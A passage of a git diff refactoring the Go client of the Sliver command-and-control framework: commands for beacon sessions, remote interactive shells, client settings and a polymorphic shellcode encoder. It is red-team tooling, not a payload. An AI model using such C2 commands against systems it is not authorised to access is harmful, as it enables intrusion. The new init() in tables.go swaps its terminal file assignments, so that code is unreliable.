carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove")) - hcstat2Cmd.AddCommand(hcstat2RmCmd) - // [ Task many ]----------------------------------------- - - taskmanyCmd := &cobra.Command{ - Use: consts.TaskmanyStr, - Short: "Task many beacons or sessions", - Long: help.GetHelpFor([]string{consts.TaskmanyStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - taskmany.TaskmanyCmd(cmd, con, args) - }, + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue } - server.AddCommand(taskmanyCmd) - // Add the relevant beacon commands as a subcommand to taskmany - taskmanyCmds := map[string]bool{ - consts.ExecuteStr: true, - consts.LsStr: true, - consts.CdStr: true, - consts.MkdirStr: true, - consts.RmStr: true, - consts.UploadStr: true, - consts.DownloadStr: true, - consts.InteractiveStr: true, - consts.ChmodStr: true, - consts.ChownStr: true, - consts.ChtimesStr: true, - consts.PwdStr: true, - consts.CatStr: true, - consts.MvStr: true, - consts.PingStr: true, - consts.NetstatStr: true, - consts.PsStr: true, - consts.IfconfigStr: true, + // Else we have runners, bind the pre-runs if possible. + if cmd.PostRunE != nil { + continue } - for _, c := range SliverCommands(con)().Commands() { - _, ok := taskmanyCmds[c.Use] - if ok { - taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con)) + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } } - } - // [ Post-command declaration setup]----------------------------------------- - - // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. - - server.InitDefaultHelpCmd() - server.SetHelpCommandGroupID(consts.GenericHelpGroup) - // Bind a readline subcommand to the `settings` one, for allowing users to - // manipulate the shell instance keymaps, bindings, macros and global options. - settingsCmd.AddCommand(readline.Commands(con.App.Shell())) + return nil + } - return server + // Bind + cmd.PostRunE = cRun } - - return serverCommands } diff --git a/client/command/sessions/background.go b/client/command/sessions/background.go index a0e2b49c3b..604dad328f 100644 --- a/client/command/sessions/background.go +++ b/client/command/sessions/background.go @@ -6,8 +6,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// BackgroundCmd - Background the active session -func BackgroundCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BackgroundCmd - Background the active session. +func BackgroundCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.ActiveTarget.Background() con.PrintInfof("Background ...\n") } diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index e630276989..20901a13ca 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CloseSessionCmd - Close an interactive session but do not kill the remote process -func CloseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CloseSessionCmd - Close an interactive session but do not kill the remote process. +func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Get the active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -41,7 +41,7 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err.Error()) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go new file mode 100644 index 0000000000..23ad82f3f4 --- /dev/null +++ b/client/command/sessions/commands.go @@ -0,0 +1,113 @@ +package sessions + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `sessions` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + sessionsCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Session management", + Long: help.GetHelpFor([]string{consts.SessionsStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { + f.StringP("interact", "i", "", "interact with a session") + f.StringP("kill", "k", "", "kill the designated session") + f.BoolP("kill-all", "K", false, "kill all the sessions") + f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") + f.BoolP("force", "F", false, "force session action without waiting for results") + + f.StringP("filter", "f", "", "filter sessions by substring") + f.StringP("filter-re", "e", "", "filter sessions by regular expression") + }) + completers.NewFlagCompsFor(sessionsCmd, func(comp *carapace.ActionMap) { + (*comp)["interact"] = SessionIDCompleter(con) + (*comp)["kill"] = SessionIDCompleter(con) + }) + + sessionsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Kill all stale/dead sessions", + Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsPruneCmd(cmd, con, args) + }, + } + flags.Bind("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") + }) + sessionsCmd.AddCommand(sessionsPruneCmd) + + return []*cobra.Command{sessionsCmd} +} + +// SliverCommands returns all session control commands for the active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + backgroundCmd := &cobra.Command{ + Use: consts.BackgroundStr, + Short: "Background an active session", + Long: help.GetHelpFor([]string{consts.BackgroundStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + BackgroundCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, backgroundCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + openSessionCmd := &cobra.Command{ + Use: consts.InteractiveStr, + Short: "Task a beacon to open an interactive session (Beacon only)", + Long: help.GetHelpFor([]string{consts.InteractiveStr}), + Run: func(cmd *cobra.Command, args []string) { + InteractiveCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "namedpipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") + + f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + closeSessionCmd := &cobra.Command{ + Use: consts.CloseStr, + Short: "Close an interactive session without killing the remote process", + Long: help.GetHelpFor([]string{consts.CloseStr}), + Run: func(cmd *cobra.Command, args []string) { + CloseSessionCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", false, closeSessionCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{backgroundCmd, openSessionCmd, closeSessionCmd} +} diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index 0946336fe3..d65288d14a 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -28,6 +28,7 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -35,17 +36,17 @@ import ( ) var ( - // ErrNoSessions - No sessions available + // ErrNoSessions - No sessions available. ErrNoSessions = errors.New("no sessions") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") ) -// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions -func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.Session, error) { +// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions. +func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(sessions.Sessions) == 0 { return nil, ErrNoSessions @@ -104,3 +105,30 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb. } return nil, ErrNoSelection } + +// SessionIDCompleter completes session IDs. +func SessionIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + results := make([]string, 0) + + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, s := range sessions.Sessions { + link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) + id := fmt.Sprintf("%s (%d)", s.Name, s.PID) + userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, s.ID[:8]) + results = append(results, desc) + } + } + return carapace.ActionValuesDescribed(results...).Tag("sessions") + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index 7ba31e90e7..9a4e0c554c 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// InteractiveCmd - Beacon only command to open an interactive session -func InteractiveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, _ []string) { +// InteractiveCmd - Beacon only command to open an interactive session. +func InteractiveCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -166,7 +166,7 @@ func InteractiveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, _ []st openSession, err = con.Rpc.OpenSession(context.Background(), openSession) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if openSession.Response != nil && openSession.Response.Async { con.PrintAsyncResponse(openSession.Response) diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index fdab122411..4d446d4b93 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -28,11 +28,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SessionsPruneCmd - Forcefully kill stale sessions -func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SessionsPruneCmd - Forcefully kill stale sessions. +func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(sessions.GetSessions()) == 0 { diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index c17ecf6c31..41dad787e8 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -36,8 +36,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SessionsCmd - Display/interact with sessions -func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SessionsCmd - Display/interact with sessions. +func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { interact, _ := cmd.Flags().GetString("interact") killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -45,7 +45,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -90,6 +90,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st if err != nil { con.PrintErrorf("%s", err) } + con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID) return } @@ -126,8 +127,8 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintSessions - Print the current sessions -func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +// PrintSessions - Print the current sessions. +func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 999 @@ -135,6 +136,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) wideTermWidth := con.Settings.SmallTermWidth < width if wideTermWidth { @@ -237,7 +239,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR con.Printf("%s\n", tw.Render()) } -// ShortSessionID - Shorten the session ID +// ShortSessionID - Shorten the session ID. func ShortSessionID(id string) string { return strings.Split(id, "-")[0] } diff --git a/client/command/settings/beacons.go b/client/command/settings/beacons.go index 61cd88f51a..716cc85b36 100644 --- a/client/command/settings/beacons.go +++ b/client/command/settings/beacons.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsBeaconsAutoResultCmd - The client settings command -func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsBeaconsAutoResultCmd - The client settings command. +func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go new file mode 100644 index 0000000000..f312a6ed84 --- /dev/null +++ b/client/command/settings/commands.go @@ -0,0 +1,92 @@ +package settings + +import ( + "github.com/reeflective/console/commands/readline" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + settingsCmd := &cobra.Command{ + Use: consts.SettingsStr, + Short: "Manage client settings", + Long: help.GetHelpFor([]string{consts.SettingsStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.SaveStr, + Short: "Save the current settings to disk", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSaveCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.TablesStr, + Short: "Modify tables setting (style)", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsTablesCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "beacon-autoresults", + Short: "Automatically display beacon task results when completed", + Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsBeaconsAutoResultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "autoadult", + Short: "Automatically accept OPSEC warnings", + Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAutoAdultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "always-overflow", + Short: "Disable table pagination", + Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAlwaysOverflow(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "small-terminal", + Short: "Set the small terminal width", + Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSmallTerm(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "user-connect", + Short: "Enable user connections/disconnections (can be very verbose when they use CLI)", + Run: func(cmd *cobra.Command, args []string) { + SettingsUserConnect(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "console-logs", + Short: "Log console output (toggle)", + Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), + Run: func(ctx *cobra.Command, args []string) { + SettingsConsoleLogs(ctx, con) + }, + }) + + // Bind a readline subcommand to the `settings` one, for allowing users to + // manipulate the shell instance keymaps, bindings, macros and global options. + settingsCmd.AddCommand(readline.Commands(con.App.Shell())) + + return []*cobra.Command{settingsCmd} +} diff --git a/client/command/settings/opsec.go b/client/command/settings/opsec.go index 40a4e99989..55c094ce10 100644 --- a/client/command/settings/opsec.go +++ b/client/command/settings/opsec.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsAutoAdultCmd - The client settings command -func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAutoAdultCmd - The client settings command. +func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -40,8 +40,8 @@ func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult) } -// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions -func IsUserAnAdult(con *console.SliverConsoleClient) bool { +// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions. +func IsUserAnAdult(con *console.SliverClient) bool { if GetAutoAdult(con) { return true } @@ -51,8 +51,8 @@ func IsUserAnAdult(con *console.SliverConsoleClient) bool { return confirm } -// GetAutoAdult - Get the current auto adult setting -func GetAutoAdult(con *console.SliverConsoleClient) bool { +// GetAutoAdult - Get the current auto adult setting. +func GetAutoAdult(con *console.SliverClient) bool { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index c0da4c861c..b775daba42 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsCmd - The client settings command -func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsCmd - The client settings command. +func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -42,6 +42,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st tw := table.NewWriter() tw.SetStyle(GetTableStyle(con)) + SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Value", "Description"}) tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"}) tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"}) @@ -53,8 +54,8 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st con.Printf("%s\n", tw.Render()) } -// SettingsAlwaysOverflow - Toggle always overflow -func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAlwaysOverflow - Toggle always overflow. +func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -67,8 +68,8 @@ func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow) } -// SettingsConsoleLogs - Toggle console logs -func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { +// SettingsConsoleLogs - Toggle console logs. +func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverClient) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -81,8 +82,8 @@ func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { con.PrintInfof("Console Logs = %v\n", con.Settings.ConsoleLogs) } -// SettingsSmallTerm - Modify small terminal width value -func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsSmallTerm - Modify small terminal width value. +func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -111,8 +112,8 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, arg con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth) } -// SettingsTablesCmd - The client settings command -func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsTablesCmd - The client settings command. +func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -143,8 +144,8 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -// SettingsSaveCmd - The client settings command -func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsSaveCmd - The client settings command. +func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -161,8 +162,8 @@ func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// SettingsAlwaysOverflow - Toggle always overflow -func SettingsUserConnect(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAlwaysOverflow - Toggle always overflow. +func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index a285605919..40e6420134 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -20,6 +20,7 @@ package settings import ( "fmt" + "os" "strings" "github.com/AlecAivazis/survey/v2" @@ -31,6 +32,21 @@ import ( "github.com/bishopfox/sliver/client/console" ) +// Those variables are very important to realine low-level code: all virtual terminal +// escape sequences should always be sent and read through the raw terminal file, even +// if people start using io.MultiWriters and os.Pipes involving basic IO. +var ( + stdoutTerm *os.File + stdinTerm *os.File + stderrTerm *os.File +) + +func init() { + stdoutTerm = os.Stdout + stdoutTerm = os.Stderr + stderrTerm = os.Stdin +} + var ( tableStyles = map[string]table.Style{ // Sliver styles @@ -127,8 +143,8 @@ var ( } ) -// GetTableStyle - Get the current table style -func GetTableStyle(con *console.SliverConsoleClient) table.Style { +// GetTableStyle - Get the current table style. +func GetTableStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -140,8 +156,8 @@ func GetTableStyle(con *console.SliverConsoleClient) table.Style { return tableStyles[SliverDefault.Name] } -// GetTableWithBordersStyle - Get the table style with borders -func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style { +// GetTableWithBordersStyle - Get the table style with borders. +func GetTableWithBordersStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -152,12 +168,23 @@ func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style { return value } -// GetPageSize - Page size for tables +// SetMaxTableSize automatically sets the maximum width of the table based on +// the current terminal width: excess columns are wrapped by the table itself. +func SetMaxTableSize(tb table.Writer) { + width, _, err := term.GetSize(int(stderrTerm.Fd())) + if err != nil { + width, _ = 80, 80 + } + + tb.SetAllowedRowLength(width) +} + +// GetPageSize - Page size for tables. func GetPageSize() int { return 10 } -// PagesOf - Return the pages of a table +// PagesOf - Return the pages of a table. func PagesOf(renderedTable string) [][]string { lines := strings.Split(renderedTable, "\n") if len(lines) < 2 { @@ -178,8 +205,8 @@ func PagesOf(renderedTable string) [][]string { return pages } -// PaginateTable - Render paginated table to console -func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) { +// PaginateTable - Render paginated table to console. +func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverClient) { renderedTable := tw.Render() lineCount := strings.Count(renderedTable, "\n") if !overflow || con.Settings.AlwaysOverflow { diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go new file mode 100644 index 0000000000..5b57d7441c --- /dev/null +++ b/client/command/shell/commands.go @@ -0,0 +1,33 @@ +package shell + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + shellCmd := &cobra.Command{ + Use: consts.ShellStr, + Short: "Start an interactive shell", + Long: help.GetHelpFor([]string{consts.ShellStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ShellCmd(cmd, con, args) + }, + } + flags.Bind("", false, shellCmd, func(f *pflag.FlagSet) { + f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") + f.StringP("shell-path", "s", "", "path to shell interpreter") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{shellCmd} +} diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index f7c03fea70..498cd4e7d9 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -40,8 +40,8 @@ const ( linux = "linux" ) -// ShellCmd - Start an interactive shell on the remote system -func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ShellCmd - Start an interactive shell on the remote system. +func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -60,7 +60,7 @@ func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Println("Shell exited") } -func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient) { con.Println() con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n") @@ -77,7 +77,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID) @@ -92,7 +92,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // @@ -103,7 +103,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go new file mode 100644 index 0000000000..a355b4603a --- /dev/null +++ b/client/command/shikata-ga-nai/commands.go @@ -0,0 +1,41 @@ +package sgn + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + shikataGaNaiCmd := &cobra.Command{ + Use: consts.ShikataGaNai, + Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", + Long: help.GetHelpFor([]string{consts.ShikataGaNai}), + Run: func(cmd *cobra.Command, args []string) { + ShikataGaNaiCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save output to local file") + f.StringP("arch", "a", "amd64", "architecture of shellcode") + f.IntP("iterations", "i", 1, "number of iterations") + f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(shikataGaNaiCmd, func(comp *carapace.ActionMap) { + (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") + }) + carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) + + return []*cobra.Command{shikataGaNaiCmd} +} diff --git a/client/command/shikata-ga-nai/sgn.go b/client/command/shikata-ga-nai/sgn.go index f63f4b6c07..aea42ff526 100644 --- a/client/command/shikata-ga-nai/sgn.go +++ b/client/command/shikata-ga-nai/sgn.go 